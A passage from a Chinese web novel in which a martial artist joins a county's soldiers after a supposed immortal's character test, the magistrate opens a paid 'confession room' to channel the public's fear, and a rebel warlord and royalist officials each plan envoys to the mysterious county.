他从小就练习武术,对于这方面自然是颇为精通,但因为大炎朝对于武比较看轻,若想靠着武术获得军功或者是一官半职,必须要上战场的! 柳叁惦记父母,倒是不再想着上战场,转而在本地干些跑商护送的活计,虽说有时候给的钱也不算少,但总归来说活计不稳定,且地位不高。 现在风仙县竟然开始征召习武之人作为官兵补充,日后便吃的是公家饭,上的是公家岗。 若是原先柳叁还要考虑良心是否能过得去,毕竟做官兵几乎没有不黑心的,他从小被父母的正直观念养大,自然是不肯轻易屈服,先前一些年,他因为在护送行业还算是颇有声望,便有人推荐他去官府谋个一官半职,但等了解到官府内的做派后,柳叁果断拒绝了。 但是现在,这风仙县内部有多正规,他自然是早就有所耳闻。 第199章 全知全能 既然官府能给出这等优越的条件,且还是大面积的招收官兵,想来是他时运到了。 柳叁难免心情激动。 不说别的,单论这风仙县目前有多火热,多难进,他可是知晓得一清二楚。 等到报名那日,果然不出他所料,这城外密密麻麻排满了前来报名的人,其中竟然有不少人是他素日老相识,这会倒是全都来了这风仙县过来撞大运,看看能不能被那官府录取当正规军,毕竟在他们看来,现在风仙县不过刚接入正规,日后他们能钻研的地方还多着呢! 老朋友见面自然是分外客气,柳叁前后了解一番,察觉老朋友的想法和他差不多,各个都是抱着必来秀一手的想法来的。 其中除了有他的朋友,自然也有熟知的各个死对头,这会仇敌见面,分外眼红。 ——今日这招聘,就算是自己没招聘上,也不能让对家赢了啊! 这会各个拿出真本领,别的不说,至少拉低招聘率是一定要做的! 抱着这样的专业态度和决心,等到官府负责的人过来查看民间武学时,倒还真被这群人吓了一跳。 ——什么玩意?这身法,这反应速度,真是民间能有的?奇才啊! 看到第一个时,负责人心中震撼,要拍板定下,看到第五个时,略有怀疑,但表情管理尚且到位。 等看到第三十个时,人已经彻底麻木。 不是,这群人到底都是从哪来的啊!简直是八仙过海各显神通,什么绝招都给他们看了。 那些个身法比起来,竟然是毫不逊色于仙师先前传授的那门炼体术! 果然这民间的东西是邪乎啊! 惊讶归惊讶,但招收还是要正经招收的。 只是第一批人数是固定的,那自然招聘条件就要适当调高了。 等到柳叁展示完毕自己所学,又经过了那所谓的仙人检测三观人品后,这便算是被录入了。 接到消息时,柳叁还觉得晕晕乎乎,不敢相信。 他就这样轻松就成了正规军? 原先练武不过是求一门手段谋生,谁还能想到会有今日凭借武学拜入官府的操作? 等到他恍惚出来时,以往的老朋友忙围上去七嘴八舌的问。 “柳叁,你招上了没?” 柳叁呆愣愣点头:“过了。” 说实话没啥实感,毕竟他就是和平常一样露了一手,结果就这样轻飘飘的过了??? 周围人难免艳羡。 “这厮运道真好!” “不是,我哪里不如柳叁了,他能过,凭什么我不能过?” “嘘——小声点,这岂不是说明你是仙人检测的那关没过?” 众人难免脸色不好看。 而柳叁的对手中,倒也有能通过的,但他大略一扫,基本都是那些往日本就行得端坐得直的人,若是那些宵小之辈,自然是被淘汰下来了。 这么一琢磨,柳叁琢磨出不对劲了。 不对啊别的不说,这负责人是怎么这么清楚的得知每个人的德行的? 他默默扫视全场,至少他认识的人品不怎么样的人,都没能通过。 这会人一旦琢磨开来就开始怀疑人生,倒推过往。 ——所以说,那负责人所说的仙人检测,竟不是唬人的,那确实是仙人手笔! 没想到,这小小的选人一事,仙人也会参与其中,在柳叁看来,这样小的事,仙人每日日理万机,哪有心情挨个管理。 再一琢磨,就琢磨到先前不久听过的戏曲了。 那戏曲所说,仙人是全知全能的存在,这世间万物,就没有一物是仙人所不清楚,所不知晓的,原先只以为是夸张了,现在看来,这分明就是仙人基操啊! 这会越想越是汗流浃背。 不免对自己过往不曾做过任何坏事产生了庆幸心理。 还好还好往日他颇为修心,不然今日这福报该如何来临?果然有道是善有善报恶有恶报,不是不报,时候未到啊。 一番琢磨下来后,柳叁对这风仙县神秘的仙人更是敬畏,甚至生出了想要去那条专属仙人的画像佛牌街道去求个小画拜着。 这会不顾别人继续和他说话,他倒是一溜烟跑了。 其余和他相熟的人则是看着柳叁跑远的背影沉思。 ——这老小子难道是悟出了什么道理? 其中有那些个聪慧之人倒是也从柳叁变幻莫测的表情,以及现场招聘一二猜测出点什么。 这会各个互相对视一眼,均从对方的眼神中看到了敬畏。 难道真如同自己猜测那般,这所谓的仙人,竟然是真的存在,并且密切关注着县内的一切? 毕竟这事实可是做不了假的。 有人环顾全场,心中不免暗惊,凑过去低头满是敬畏:“这不看不知道,你猜怎么着,没被招聘上的多少带点道德污点” 不少人心中惊涛骇浪,看来确实如同猜测那般,仙人果真关注着自己领域内的任何一件小事。 这会被选上的自然是心生敬畏,和柳叁一样一溜烟跑去,想购入仙人画像日常膜拜,而没被选上的则是懊恼不已,不由悔恨当日为何不多做些好事,还有人则是心虚了,这会意识到仙人或许正在看着自己,竟是后背黏腻,硬生生生出了一种被窥探之感。 这会全身难受,自然是急匆匆离开。 ——不成,这整个风仙县都在那仙人监管下,他得赶紧逃走,不然若是哪一日仙人有心情处理他这等小蚂蚁,岂不是连逃走的机会都没有? 招聘很快结束,就连官府也没想到,这结束速度竟然会这般快,本以为还要再招聘个几天。 除却从民间招聘外,巡逻的官兵倒是注意到最近的恶性事件少了许多。 虽说在仙师的统领下,恶性事件原先就少,但现在更是少得可怜,有时候他们遇到两方争执时,人刚过去还没说话呢,两方立马转怒为笑,笑嘻嘻握手言和,甚至都不用他们开口。 这般异常情况自然是引起了巡逻官兵的注意,连夜将此等变故上报给方大人后,各个倒是巡逻得更紧了。 除却发现直接的变化外,负责侦查的官兵倒是慢慢琢磨出味来了 不太对劲啊,最近仙师的小像卖得更快了。 再加上稍微一打听,民间竟然开始流传出仙人全知全能,会时刻注意着自己旗下领地。 日常最好是行善为先,若是作恶,不说别的,至少本县的好工作是进不去的。 官兵们各个大眼瞪小眼——等会儿,这流言从哪儿流出去的?他们怎么不知道? 等到挨个摸查,倒是很快抓住了那流言散播者。 竟是柳叁。 他们摸索过去时,柳叁正被众人围在中间,一副大彻大悟的表情,正在为众人解说。 “你们都知道这风仙县是仙人主管吧?咱们日常受到仙人庇护,却不曾见过仙人,我特意从那宋画师手中获得一副真作,请诸位先看仙人风貌。” 说完便让众人查看手心那画得细致的肖像。 侦查的官兵举着望远镜仔细看去,发现这厮手中拿到的竟然真是宋白画师的真作,据说这位宋画师可是亲眼看到过仙人的存在,但这位异常谦虚,只说自己的画作最多只有仙人五分相似,不过虽说尽管只有五分相似,但那画作上画着的仙人已经足够让人看得目不转睛,心生敬畏了。 围观众人各个神情严肃,满眼敬畏地看过去。 “柳兄,仙人果真仙风道骨啊,仅仅一眼,我等便有种要臣服于仙人的冲动。” 这话倒是不假,毕竟在看到肖像的瞬间,巨大的冲击力让众人难免膝盖发软,满脑子只有顶礼膜拜的的冲动。 又有人发出质疑。 “柳兄,这仙人面貌我等早就看过了,只是和你今日所说那所谓重要之事,到底有何关联?” 不少人连连点头,谁说不是呢,这画像虽说珍贵,但他们也在宋画师展览的店铺里看到过啊! 总不至于为了这件事将他们应召而来? 柳叁收回画像,冷哼一声:“有点耐心,我要说的关键东西在后面。 你们也知道我前不久刚通过那官府在民间的招聘。 我知晓不少人都谣传我柳叁运气好,但事实真是如此?” 众人微微一愣,而后面色诧异。 “这难道不是运气的缘故?” 柳叁冷哼一声。 “此言差矣,若是单论运气,我若运道好,何苦这些年过得这般辛苦?” 周围人一琢磨,嗯别说,是这个道理哈。 柳叁此人原先过得确实不算是顺遂,和那些天道之子,运气之子可是差远了。 这会各个斟酌着追问:“还请柳兄告知兄弟们,我等愚笨,不晓得这其中到底是何原因?” 柳叁这才面露敬畏,在众人的注视下,慢悠悠吐出一个词语。 “善恶有报。” 看到众人明显不太相信后,他又继续开口:“别的地方这规矩管用不管用,我不知道,但在这里,在仙人目及之处,这道理就管用。 我只说一句话提醒你们,那日,仙人不曾让一个过往作恶之人被选中。 这民间招聘的人口成分有多混乱,你们是知晓的。 能在这情况下不曾让一个不怀好心之人混入,这只能说是仙迹,绝非人力而为。” 这话轻飘飘的落下,却是在众人心口砸下一道沉重的疤痕。 ——等等,这柳叁的意思是,仙人知晓过往,演算未来,这和神仙有何区别? 原先他们和柳叁一样,对风仙县所谓的仙人一说持有不信的态度,毕竟都没亲眼看过,相比于仙人一说,他们宁愿相信这是一场对朝廷的反叛。 但眼看原先不信的柳叁自发成为信徒,这会各个心里嘀咕。 难道真如同他所说,这仙人真实存在? 且更细思极恐的是,若是仙人真有那般大的能力,日后但凡是想在仙人旗下生活的人,恐怕都得好好做人了。 毕竟仙人现在是嫌麻烦不愿意多管,但若是有日心血来潮,想着处理一番自家领地上的渣滓呢? 第200章 忏悔室 当然,除却对这因素的考虑外,众人更多的是开始反省自己。 ——以前做过坏事没,从现在开始能不能做善事? 没做过坏事的人还好,这会倒还能勉强接受这番变故,但以往就做过坏事的,在得知仙人竟然能知晓一个人过往后,这会惊得面色惨白。 只想着暂时逃离这风仙县才是。 一时间,众人难免面色各异,而在这中间,柳叁倒是一脸淡定,一副超脱于世俗之外的淡然。 不免有人嫉妒得直咬牙——这家伙这么淡定,恐怕是过去经常做好事了,这会人在仙人旗下,日后定会被重用啊! 一时间,那点嫉妒心熊熊燃烧,等再想到刚才柳叁说的话,仙人能看透一个人的过往和现在,这会忙收了嫉妒,生怕此刻自己这番丑态被仙师看得清楚,日后更是惹出不必要的麻烦,这会只能化悲愤为动力,再次对着柳叁请教一二。 等到众人被劝着多做善事,少作恶,若有作恶应当念着以往做过的恶尽可能的回馈帮助现生的人后,这群人这才慢慢散开。 柳叁则是唇角带笑,对着自己怀中的仙人画像敬畏一拜。 这模样倒是虔诚,给前来侦查的官兵都看蒙了。 这会斟酌着还是出来,让他跟自己一行人走一遭。 毕竟这事关重大,必须要上报给方大人才是! 不过因这流言并未有坏影响,反而是有好的作用,侦查的官兵倒是没怎么苛待他,再加上柳叁此人也是颇为配合,这会一时半会,几人倒是颇为和谐的慢慢走向官府。 而方知意在得知柳叁已经被带回来时,倒是对此人所做之事颇为感兴趣。 这人倒是有趣,竟然阴差阳错替自己先造了势。 原先她就打算将个人信用,品行纳入日常考核中,而此事迟迟没能落地也是因为觉得时机不够成熟,本以为至少要等击退周遭盘旋的对手,继续扩张地盘后才轮得到考虑此事,竟是没想到倒是被柳叁意外将此事率先提上了征程。 倒是令人惊异的是,县内众人对此事竟然接受良好,最近治安更是好了不少,连巡逻队需要处理的杂七杂八的事都少了许多。 等到见到柳叁真人时,方知意还坐在主位,柳叁拜过后,方知意这才慢慢询问一二。 等问道为何要主动传输这般言论时,此人倒是一脸崇拜开口:“不瞒县令大人,小人原先就信奉这善恶自然有报一说,只不过多年来并未从中得到什么切实的好处,虽说无甚好处,但小人依旧遵循着这套行事方法,求个心安。 本以为这辈子都没什么成就时,是仙人,是大人,接纳了我,让我有机会能当官兵,这放在以前,是我做梦都想不到的好事。 我这么一琢磨,很快就琢磨到了,当日仙人检测,定是查看了我等过往,这才能如此准确的判断什么样的人该不该招收。 既我参悟到这善恶有报在仙人这里是根本后,我自然是想将此事告知给大伙的,毕竟我了解原先孤独的坚守这条理念有多么不容易,若不是心性平稳坚韧,实在是难以坚持。 但若是让大伙明白做这件事是有好处的,那我想日后会有更多的人愿意这么做。” 柳叁虽说是民间武学出身,但这会竟然思路很是清楚,说起话来虽略显乡土,却十分真挚诚恳。 眼看弄明白此人心中所想后,方知意倒是也对此人颇为欣赏,这会点头:“你说的没错,不能仅靠民众的道德去让他们实行善恶有报论。 但若这件事有利可图呢?那会推动这类事发展。 一开始可能是有利可图,但越往后,当有利可图变成一种习惯,甚至成为一种标准,一种基础理念后,这样的社会才值得被建设,被期待。” 方知意倒是不奢求柳叁能懂,她只是在描摹自己理想中的那个社会。 而眼下柳叁倒是被她这番话惊得呆愣在原地,这会愣神琢磨片刻,又在逐渐理解方知意所说之话后眼露惊喜。 “小人愚笨,从未想过如此深远,但若这样的世道是大人所愿意建设,是仙人所期待的,小人愿意为仙人,为大人孝犬马之劳!” 柳叁觉得自己说话都在颤抖。 以前他抱怨过,恨过,被世道捶打过,在万籁俱寂时,他也不想放弃自己莫名其妙的坚持,而现在,他一直渴望的,期待的世道,就这样毫无征兆的轻飘飘落在他头上,这宛如在即将渴死饿死的人看到一碗烹饪得美味的饭菜放在眼前,他只想着快些吃到这样的饭菜,无论他中途需要做出何等努力,他也甘之若饴。 方知意倒是微微震撼于柳叁的决心,而后便让此人负责教导新人,当然,主要是思想方面上的,因为经过这一遭后,方知意倒是意外发现此人在灌输理念这方面,可比武学要来得更为精巧,想来这便是此人所精通的天赋而已。 除却教导新人外,方知意倒是也对那些有心思悔过的人有了新的去留想法,这会命柳叁同时负责组建“忏悔室”,忏悔室内只招收两位人员,负责倾听众人的罪孽,帮助他们走向正途。 这职位被称为仙使,是最贴近仙人的使者,负责将仙人的宽恕洒向人间。 当然,忏悔的对象自然只能是小打小闹的道德污点,若是恶劣的话,她不介意让对方进牢房忏悔一番。 柳叁在得知方知意竟然还有此等想法后,自然也是颇为兴奋——这法子好啊,毕竟谁还没有一些小过往呢,先前被仙人全知全能吓得心神不宁,这会立马就有忏悔室供人们忏悔罪过,倒是能更好的管理治安,安稳众人,再加上忏悔室完全采用匿名方式,倒是让人更是多了几分安心。 且忏悔得花钱吧?这些钱会被用来再次反馈到各个民生建筑上,可谓是完美闭环。 这会自然是满口应下。 而方知意则是用最快的速度在官府收拾出一间单独隔开的小房子出去——不起眼,但绝对符合忏悔室的要求,安静且保密。 忏悔室内设置着一道小窗户,神使会隔着小窗和百姓对话,或是安慰,或是物理捉拿。 毕竟在神使站立的这边,可是有着正规官兵负责看守,防止意外出现。 等准备工作都做完后,忏悔室开设的消息很快便被方知意授意放在报纸上。 而第二天的报纸,也成功因为这所谓的忏悔室而再次卖空。 这会但凡是拿到报纸的人,均是仔细翻来覆去的看,想静静品味这报纸所说到底有什么深意。 忏悔室——让百姓去忏悔自己曾做过的坏事? 原先在人群中广泛流传的“善恶自有报”这理念似乎再次被证实了。 不然为何官府在那等流言传开后又设置这所谓的“忏悔室”供众人忏悔? 一时间,去,或者是不去,众人多有纠结,毕竟谁乐意将自己不好的事亲口说出来呢?万一,这是个陷阱怎么办? 等他们说出来后,背后就是等着捉拿他们的官兵? 不得不说,这群人在谨慎这方面,还是真相了。 但也有人不免纠结犹豫。 “你们不觉得这是仙人亲自清算前的宽恕吗?” 这话一出,自然有心之人立马竖起了耳朵,这会各个看向说话的此人。 “这是何意?” 便听这男子畏畏惧惧开口:“想想看,若是仙人打算直接将过往脏污的人一网打尽,何苦开设这劳什子忏悔室,那些戏曲里可是说了,仙人有神通,可在千里之外精准取人性命,何况是我们这般渺小的人物? 依我看,这是仙人给的一个机会,一个让我们亲自承认过错,重新做人的机会啊!” 众人顿时被这话说得一愣,而后就是片刻沉默。 实际上是被这话说动了。 ——别说,还真有可能,不然按照往日仙人的性格,早就将他们打杀了就是,何苦浪费心思开设忏悔室。 在意识到这可能是日后仙人清算前唯一赎罪的机会后,众人原先还想观望一番,这会竟然是心中隐隐约约生出几分急躁。 这忏悔人数可有限制?若他们不抓紧机会,日后会不会忏悔人数够了,没有他们忏悔的位置了? 正蠢蠢欲动之际,先前说话的此人继续开口:“我听说那神使带着仙人特意给予的宽恕圣水,若在说完自己的罪过后,能够被那圣水净化的话,便算仙人原谅你了。 不过你们说,那圣水可否有限?万一日后圣水用完了,这是不是说明没得到圣水宽恕的人日后都需要被仙人亲自清算?” 话说到这里,众人一个激灵,各个后背冷汗直冒。 ——别搞!谁乐意最后被仙人亲自清算啊,毕竟城门口原先县令等一行人的脑袋还未曾腐朽,还被挂着示众呢!谁也不乐意以后自己的脑袋成为城墙的装饰品啊! 这会忙朝着此人作揖感谢,急匆匆离开,直奔那忏悔室而去。 而与此同时,这样类似的情景正发生在风仙县各处,当然了,这其中挑起风波的人,自然是方知意派专人搅动的。 而那些想通了去忏悔的人在看到忏悔室竟然排了密密麻麻的队伍后,这会瞪大眼睛。 不是,等会儿,他们做了许久的心理准备,本以为来得够早了,结果一看还有人比他们更早? 眼看队伍越排越长,不知道何时才能轮到自己进去忏悔时,这几人都慌了。 那圣水可还够?可别没等到他们就用完了! 鉴于排队人数太多,官府已经派专人在发送排队号码了,现在忏悔俨然成了一件需要叫上号才能去的珍贵玩意了!《 》 200-210 第201章 求和 眼看忏悔室排队的人实在是多得要命,不少人紧赶慢赶,还是没能赶到前排,这会又念及自身过往或许罪孽深重,若是到时候没轮到自己,可该如何是好? 难道要眼睁睁等着自己被仙人后续清算时抹杀? 一想到这个结局,众人难免不自觉僵硬。 这会各个脸色惊疑不定,尤其是确认到那排队人竟然这般多,且各个覆盖面貌,让人难以区分谁是谁,这会一颗心不断摇摆。 ——哎,这些人都覆着面,也看不到谁是谁,倒是难以让他们产生预判,若是能看到人脸的话,他们倒是可以凭借着相识对方,进而做出推测,毕竟谁能比老朋友,或者是死对头更清楚自己过往犯下的错? 可惜看不到脸,这便是没了参照物。 很快,第一波进入忏悔的人已经出来了,这会各个竟然摘了覆盖脸庞的面罩,各个一脸虔诚敬畏。 而在其中,不少围观的人竟然能看到其中自己所相熟的人,本还在犹豫要不要去,此刻全部化作冲动。 ——不是,他都被仙人宽恕了,我和他差不多了,我也应当被宽恕才是? 被人问及其内到底是什么样时,这些人竟然只是摇头不语,但终于有人被烦得说了一句话。 “我们得到宽恕了,意味着仙人对于我等过往不再追究,以后要开始重新好好做人了。 有道是举头三尺有神明,这便是仙使告诫我等的话。” 围观人则是听得一愣一愣的,过往不再追究了? 果然先前的猜测没错啊,仙人这是特意给他们的赎罪机会!不然为何要特意开设这忏悔室? 第一批忏悔的人为了表示诚心悔过,这会各个虔诚的捐施粮食,亦或是财物,以示为自己过往赎罪。 倒不是仙使逼迫他们,仙使说得清楚,这些钱财物品,会被用在仙人旗下的每个民众身上,会用在建设仙人所属世道的每个建筑上。 既已诚心悔过,众人自然觉得捐献物品无碍,这会自然是看自身能力,从而选择去捐献,好更好的为自己往日所做的错事赎罪。 等率先进入的这批人各个带着轻松愉悦的表情离开后,先前还在犹豫的众人难免陷入困境。 ——是选择去坦白,还是选择苟活着?时刻警惕仙人清算的那一日? 稍作犹豫,众人这会倒也想明白了。 与其日日惶恐,不如早点解脱,仙人术法精妙,若是日后真要追究也只是时间问题。 一旦意识到这点,伴随着想明白后,便是更多的人涌入忏悔室。 而此刻,黄牛应运而生。 此世道的黄牛是帮人代排队,亦或是从中帮忙寻找愿意出手自己排队位置的卖家,以及需要尽快忏悔的买家。 而急着想要忏悔的人则是率先感受到了世道对于自己过往作恶的第一股恶意。 ——这号码可真难排啊!偏偏他还需要着急忏悔,避免出现日后忏悔人数饱和的事,所以这会只想尽量赶在众人前面完成忏悔。 但既然想快点,那就必须得多花钱好弄到更靠前的位置! 于是,第一笔钱就这么花出去了! 别说花钱,现在这情况能花钱弄到好位置已经是很难得的好事了,毕竟需要的人太多了,严重的买卖失衡啊! 当然了,有财力购买的人,大都是那些原先风仙县内的大户们,除却先前跑到其他地方的大户,这会留下来的大户们其实一直处于提心吊胆的状态,毕竟他们也摸不清楚仙人对于他们到底是何态度。 虽说先前他们也曾在方大人的半压迫下不情愿的拿出积蓄投入本县建设,但总归是只出了一点小头。 但这会不同,这忏悔成功与否,可是关乎日后家族的大事,自然要花费更多的钱财经营才是。 于是,被方知意下令操管黄牛一事的负责人倒是不由不暗叹方大人这法子巧妙得很。 ——不掺杂任何多余的威胁,这些过往不肯松嘴的大户们倒是各个舍得张开嘴吐钱了。 且这些用来运作的钱财数量可要比目前忏悔室的钱财数量多太多了。 等到将这钱财入库,作为本县储备后,方知意则是专注于开拓领地这件事。 不说别的,至少周边各个县城已经在祝大人的努力下重新分配好目前工作,这会就等着收获时,一切便可以进入正轨。 先前在民间招收的武学人员各个英勇骁战,再用上仙师先前传授的炼体术法后,各个倒是更为强悍了几分。 方知意默默盘算着,若是日后和盘踞其余县的那些人对上时,她也不会处于被动。 不过虽说单兵作战能力强,但总归更需要团体作用,所以他们还需要一段时间的磨合才对。 而其余县域,早就被她先放了官兵过去守着,以免有敌人偷袭。 粗略算下来,目前所招收的民兵暂时够用了。 若是日后打败对方,占据其余县域后,恐怕还需要更进一步的招兵买马才是。 脑内迅速划过对后续的规划后,方知意则是开始专注于慢慢积累,现在就是看谁先按捺不住了。 毕竟她们这边若是能有更多时间,日后只会发展的越来越好,至于对方则会越来越处于弱势。 毕竟她们有人,有地,有粮,还有兵力,无论对上谁,方知意目前都自觉能和对方一战。 而事实也恰如她猜测的那般,盘踞在长丰县的陈京行这两天颇为烦心。 此人并非小鱼小虾,这人正是明州最出名的叛军,因实力强悍,朝廷无力管理,只能捏着鼻子给对方提了个官位,算作招安,但谁都知道,这不过是表面上的风平浪静,不过表面上没人敢这么说,谁见了他都得规规矩矩称一声陈总司,陈大人。 但事实上,陈京行早就不满朝廷的统治,趁着先皇薨了,小皇帝在位不懂事,飞速在明州发展自己的势力,占据多方矿产,矿脉,其名下又有兵马和猛员大将,倒是短短时间,先后就将明州最为繁华的城镇悉数纳入麾下。 此人心思狠辣,在侵占各个城镇时,便用铁血手腕一一统领旗下军马,若是粮草不够,便宣布进城三日,放开了让部下抢夺杀掠,等到将新的城镇攻打下来后,又停止杀戮,转而派人慢慢压榨当地民众,好为自身日后积攒出更多身家,若是单论此人在政治上的作为,不在乎人品的话,他倒是算作一奇人。 陈京行原先计划是趁着朝廷招安他期间,缓缓吞并明州,只要慢慢积累就能攒下更多底气和朝廷叫板。 当然,他在明州并非没有遇到阻碍,先前的义师军势如破竹,在他和朝廷,和幽州那位争斗时,这义师军趁他不备,竟是慢慢吞并了不少他先前不曾占据的明州城镇,一时间吸纳了不少流寇,再加上毫无节制的屠戮民众,一时间倒是让他颇为头疼。 本想着要找机会好好处理这半路杀出来的以侯天王为首的义师军时,便发现对方竟然其内频频受挫。 陈京行察觉不对劲,立即派人去查,等到查明这义师军竟败于一小县时,他不免沉默。 而后陈京行派人继续跟踪,竟然是陆陆续续回报了不少令他心惊的奇事。 ——那小破地方竟然有仙人盘踞? 一开始,陈京行也没太当回事,以为又是某种哄骗愚民的把戏,毕竟他原先就用过这一招,但伴随着义师军的败落,他倒是惊得浑身一震。 虽说义师军其内成员都颇为草根,但这群人的凶残他可是比谁都要清楚的。 先前他虽没太把义师军太当回事,但若想彻底摧毁义师军,就算是对他来说,也是颇为麻烦的一件事。 但那个名为风仙县的小县城做到了! 一个破落县城,不知道用了何手段,竟然硬生生逼退义师军。 陈京行想起当日探子颤抖着伏地汇报。 ——那日负责前去查看的探子,只活了这一个,而且此人能活下来也是因为他根本就没能看到那日风仙县到底是发生了什么,只知晓战斗瞬间便结束了。 这番说辞,倒是让陈京行不禁微微眯起眼睛。 难不成,那所谓的仙人真实存在? 等到后续继续打探,陈京行不免越打探越是吃惊,——若按照那些人所说,风仙县内的确有仙人出没,不如这样说,这仙人正视这风仙县为自己所有。 这一发现让陈京行颇为心神不安,他不惧怕旗鼓相当的对手,却害怕这种未知的存在,这种明显是变量的存在。 于是他设计让景旭宫和义师军勾搭上,又让部下去那风仙县投毒,亲手挑起事端,打算坐收渔翁之利。 毕竟无论是哪一方赢了,他都稳赚不赔。 若是义师军赢了,那便是替他先解决了一桩麻烦,且趁他病要他命,日后他收拾起来残缺的义师军也不用多费心思。 若是那风仙县赢了,不说别的,至少他不用再考虑解决义师军了,不过这情况要更复杂一些,毕竟他宁愿去处理几个义师军,也不愿意沾染上像是风仙县这般危险神秘的存在,但既然开打了,那便没有不受伤的道理,他完全可以趁着风仙县最脆弱时反攻对方。 本以为是这样的,但结局却让他大为震撼。 他原先以为那义师军在景旭宫的协助下能多一份不俗的战力,不说压着风仙县打,至少也能让风仙县头疼,但他怎么也没想到,自己完完全全想错了。 据他派出去的探子说,那日战斗也是瞬间便结束了。 连续两次,都将对方这般轻易碾碎,可想而知,这风仙县到底有多么强悍了。 陈京行心跳剧烈,这会不敢轻举妄动,毕竟当初是他挑起的事端,这会倒是有些恐惧对方若是查到他头上该如何是好。 眼看义师军被打得四散而逃,而他则是再次观察了几日,发现对方并未关注到自己,不知道是没发现,还是懒得管。 这会他不免松了口气,眼看义师军败兴而归,他则是趁机追赶对方,将那侯天王一行人打得落荒而逃。 而义师军原先就占据了不少县域,这会随着败退,先是一部分县城重新吐出去,被那风仙县的仙人属下所占据,而另一部分则是被他占据。 为了避免惹上麻烦,他甚至不敢抛头露面,只敢派不明真相的手下前去接管那新占据的县城。 而被派出去的探子则是鬼鬼祟祟去隔壁属于仙人的县城打探情报,等听到属下频频汇报对方的大动作时,倒是让陈京行不免蹙眉。 ——对方这是何意? 在获得新的县城后,倒是开始肆无忌惮的开始重新修建,试图开始恢复正常生活了? 不是,他们到底有没有尊重过他们?这周围还环绕着财狼虎豹呢,这会居然就这么心大的开始发展农业,发展经济了?不怕日后被打下后为他人做了嫁衣? 陈京行想不通,毕竟若是按照他的想法,他只有在全部将明州收入麾下才会考虑慢慢经营,现在情况紧急,他外面敌人环伺,哪有心情慢慢经营? 毕竟经营来的可不如抢过来的实在啊! 要知道经营许久才能获得收成,而抢却只花费很短的时间便足以。 除却发现这些县城正在继续恢复正常生活外,陈京行还注意到,这些县城内不知道从哪源源不断的有着新人填补进来。 看着不像是外面的流民,毕竟各个看着身强体壮,完全不是外面流民那般面黄肌瘦模样,且这些人眼中多了一些让他都看不懂的东西,和以往被强行推着过来开荒的人不同,这群人的眼睛太亮了。 ——该死的。这风仙县到底是给这些人用了什么妖术? 为何能让人心甘情愿过来开垦荒地? 陈京行不明白,心底久违地涌现出一股恐慌。 查!必须查清楚,不然他日后如何能安稳,必定是寝食难安! 等到探子频频回报后,陈京行这才后知后觉知晓一件事——那风仙县竟然在大批量招收流民。 等等,招收流民并不奇怪,毕竟他也知晓人才是资源,只有足够数量的人,才能满足剥削。 但这招来的人是不是数量太多了? 据探子回报,那每日前往风仙县的流民数量多不胜数,但具体进了风仙县后如何处置安排,探子却再也打探不出消息来。 这不免让陈京行颇为叹息。 他倒也前去看过,只是一眼,便被那乌泱泱的流民吓了一跳。 ——这风仙县到底是使用了什么妖术,能让这么多主动过来投奔? 毕竟他手下的县内已经许久不曾有流民进入了。 这并不是个好消息,没有新的人口,他县内的那些土地该让谁去种?日后参军又该去征收谁? 这都是一连串问题,而这风仙县却能源源不断的招收到新的流民,不可谓不让他眼红。 期间他倒是暗戳戳试图在中途拦截流民,看能不能也给自己县内捞点人口回去,但很可惜,这些流民精得和兔子一样,费了大力气,才逮住几人,付出和收获完全不成正比,倒逼的他不得不放弃这一想法。 当然,主要原因也是害怕对方察觉到他出手,毕竟面对风仙县这样未知的对手,陈京行并不想轻易被对方察觉自己底细。 但眼看着对方不断扩张县域,手下探子不断回报对方开始大批量种植农田,开采矿物,俨然一副打算做大做强的模样,陈京行有些绷不住了。 ——难道他真要放任对面发展?要知道这对于他来说绝非好事,若让对方发展,就譬如朝廷对于他的无奈放纵。 两者一类比,陈京行顿时惊醒,顿觉自己这位置坐得实在是难以安心。 最近数日吃不好睡不好,俨然为这风仙县发愁。 他倒是想用原先的铁血手腕,但先前在义师军看出来,对方说不定要比他厉害。 看来强求很麻烦,不若试探着求和? 先求和,等到摸清楚内部是否有可乘之机,再考虑下一步该如何去做。 大概定下计划后,陈京行召集了使者,打算派人备厚礼,看能不能拖延一番时间。 他就不信了,但凡是人,就必定会有弱点,除非这风仙县的统治者压根不是人,是神仙。 这会使者匆忙在库房挑选要送过去的礼物,而陈京行则是写了一封看上去足够真诚的求和书。 大概意思便是打仗对普通百姓影响太大,不若两人好好相处,也能够互相休养生息。 且最重要的是,陈京行还在其中试探了一番对方的立场。 到底是作为保皇派,亦或是和他一样,打算成为新的叛徒。 当然,言语是一门艺术,陈京行此人深谙此道理,其信写得陈恳又衷肠,就连试探都多了几分真诚的味道。 而他忙碌着打算前往求和时,远在黎州的保皇派也逐渐察觉到了不对劲。 他们一向关注着陈京行此人,毕竟此人心思深重,日常每一句话,每一个动作都会让他们频频揣摩,何况现在对方竟然会主动向一小县城提出求和,简直让他们不敢相信所听到的事。 但这情报是好几个探子嘴里得来的消息,确实如此。 这不免让众人沉默片刻,而后又围聚在一起互相谈论此事该如何是好。 其中的保皇派,便有那谈天禄的干爹,魏公公。 毕竟只有小皇帝存在,他的权利,他的一切才能附庸存在,若是小皇帝倒了,他自然是首当其冲,所以虽说魏公公风评差,但保皇派不得不捏着鼻子忍了。 “陈京行此人贼子野心不死,诸位看他最近这操作到底是为何?” “依我看,他是想先平内,而后再来找咱们的麻烦,但这风仙县到底有何等人物在,竟然能入了那陈京行的法眼?要知道那厮向来眼高于顶。” 众人蹙眉,却又实在好奇。 ——风仙县,完全不曾听过的一个小县城,这样的小地方,竟然也有让陈京行忌惮的东西存在? 倒是有人展开舆图让众人去看。 “这风仙县不过是明州边界区域,如今陈京行如此忌惮此地,难道此地生出了新的奇才?且还是能和陈京行此人分庭抗礼的存在?” 众人不免互相对视,均从对方眼中看到了疑惑。 “这既陈京行如此忌惮此人,我等却不明白此人立场,若是被那陈京行抢先一步,两人结合成同盟,岂不会对圣上的势力造成冲击?” 这担忧很合理,甚至众人今日来主要也是为了这事来的。 这会魏公公倒是先开口了。 “依我看,不如我们也派人去偷偷联络那风仙县那人,哪怕此人不愿意归于圣上,那定也要搅黄了陈京行这厮联合的心思才是。” 这话虽说很不道德,但在场的诸位全都是这么想的。 “我看也是,这陈京行凭什么就能安稳等着和人联合,做梦吧他,既然被我等发现了,咱们必须要先下手为强,后下手搅黄!” 定了此次行动的基础方针后,众人又很快确定了派谁去,这会几番争论,选择派出几个没什么根基的使者去,毕竟这任务凶险,谁愿意让自己的人过去送死? 毕竟那风仙县的人物他们都不曾仔细知晓,只从探子口中得知,那风仙县有位仙人,可知晓世间万物,仙法高超。 